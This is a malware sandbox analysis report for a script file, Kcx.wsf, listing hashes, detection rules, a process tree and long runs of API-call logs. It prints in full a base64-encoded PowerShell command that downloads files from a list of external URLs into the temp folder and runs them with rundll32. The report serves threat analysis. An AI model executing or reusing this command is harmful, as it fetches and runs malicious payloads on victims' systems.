popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Kcx.wsf

Generic Malware Admin Tool (Sysinternals etc ...) Antivirus AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 7, 2023, 9:27 a.m. April 7, 2023, 9:29 a.m.
Size 210.5KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 09aa1bb82cf6ef97e2ae293771003980
SHA256 e6c03b29a51d15ffef1b03cfb681d9a8f675584beda9775d3c5b0371197b7320
CRC32 E39439C1
ssdeep 6144:8z8iZ9vfh/Mald8vouPpbMIHjyQ954wq2tNhc2qW:09vK0otDy0qW
Yara
  • Generic_Malware_Zero - Generic Malware
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Kcx.wsf

    2548

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA5ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAbwB1AG4AdABlAHIALgBtAGkAbABrAHcAbwByAHQAcwBDAGEAcABzAGEAaQBjAGkAbgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAGEAYwBvAHUAbgB0AGUAcgAuAG0AaQBsAGsAdwBvAHIAdABzAEMAYQBwAHMAYQBpAGMAaQBuACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"

      2676

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dc570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dc3b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dc3b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dc3b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcc70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dcdb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd0f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002dd030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02840000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2676
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x726a1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2676
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x726a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02991000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02992000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02727000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02725000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02980000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02718000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02719000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a61000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a62000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a63000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a64000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a65000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a66000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a67000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a68000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a69000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a6f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a73000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2676
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a74000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAUwB0AG8AYgBiAGEAbABsAFIAZQBwAGwAYQBjAGUAZAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG0AZQBkAGEAbgBvADMANQA1AGMAbwBuAGQAbwBtAGkAbgBpAG8ALgBjAG8AbQAvAFQAdAA3AGwALwA1AFgAdwA2AGEAZABVADMATgB3AE4ALABoAHQAdABwAHMAOgAvAC8AYQBuAHQAbwBpAG4AZQB0AHQAZQBnAGEAYgByAGkAZQBsAC4AYwBvAG0ALwBZAHUAVQBFAC8AWgAxADMATwBpACwAaAB0AHQAcABzADoALwAvAGMAaABvAGkAYwBlAGYAYQB6AC4AYwBvAG0ALgBiAHIALwB3ADEAVwAyAC8ANAB2AHEAYgB6AEMAOABiAG4ATQBQAEEALABoAHQAdABwAHMAOgAvAC8AcwBlAGkAYwBhAHMALgBjAG8AbQAvAEsAdgB0AE0AMAAvAGsARQB5AHYATwBrAEkAbQAwADkARwAsAGgAdAB0AHAAOgAvAC8AbQBpAGwAbABlAG4AaQB1AG4AaQBuAGYAbwByAG0AYQB0AGkAYwBhAC4AYwBvAG0ALgBiAHIALwBMAGUAOQAvAHQAWQB3AEMAdgBLAFIAbABGAGgAQgBpACwAaAB0AHQAcABzADoALwAvAGEAbAB6AGgAZQBpAG0AZQByAHMAZABpAGcAZQBzAHQALgBuAGUAdAAvAFoASwBwAHYAYQAvAGIATABJAGoAagBtAEkATwBxAFgARgAsAGgAdAB0AHAAcwA6AC8ALwB0AC0AbABvAHcAcwAuAGMAbwBtAC8AZwBnAEEASgAyAG0ALwB0AFIASwBSAG4ARgBQADcAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAZQBhAGwAaQBuAGcAZQB4AGMAZQBsAGwAZQBuAGMAZQAuAGMAbwBtAC8AcgBWAFIAOQByAC8AagB0AGUAQQBuACwAaAB0AHQAcABzADoALwAvAHEAYQBzAHMAaQBtAG4AZQB3AHMALgBjAG8AbQAvAHkAdwBlAE4AZQBqAC8ANgA5AEYASwBpAGEAUgBnAHMAeAAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGYAdQB0AHUAcgBlAHMALgBpAG4ALwB0AGwAVQB0AEIAYwAvAEIAOABvAGgAUwAzAHMASgBzAGcAOQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABzAHQAaQBmAGYAcgB1AG0AcABOAG8AbgBwAGEAdABoAG8AZwBlAG4AaQBjACAAaQBuACAAJABTAHQAbwBiAGIAYQBsAGwAUgBlAHAAbABhAGMAZQBkA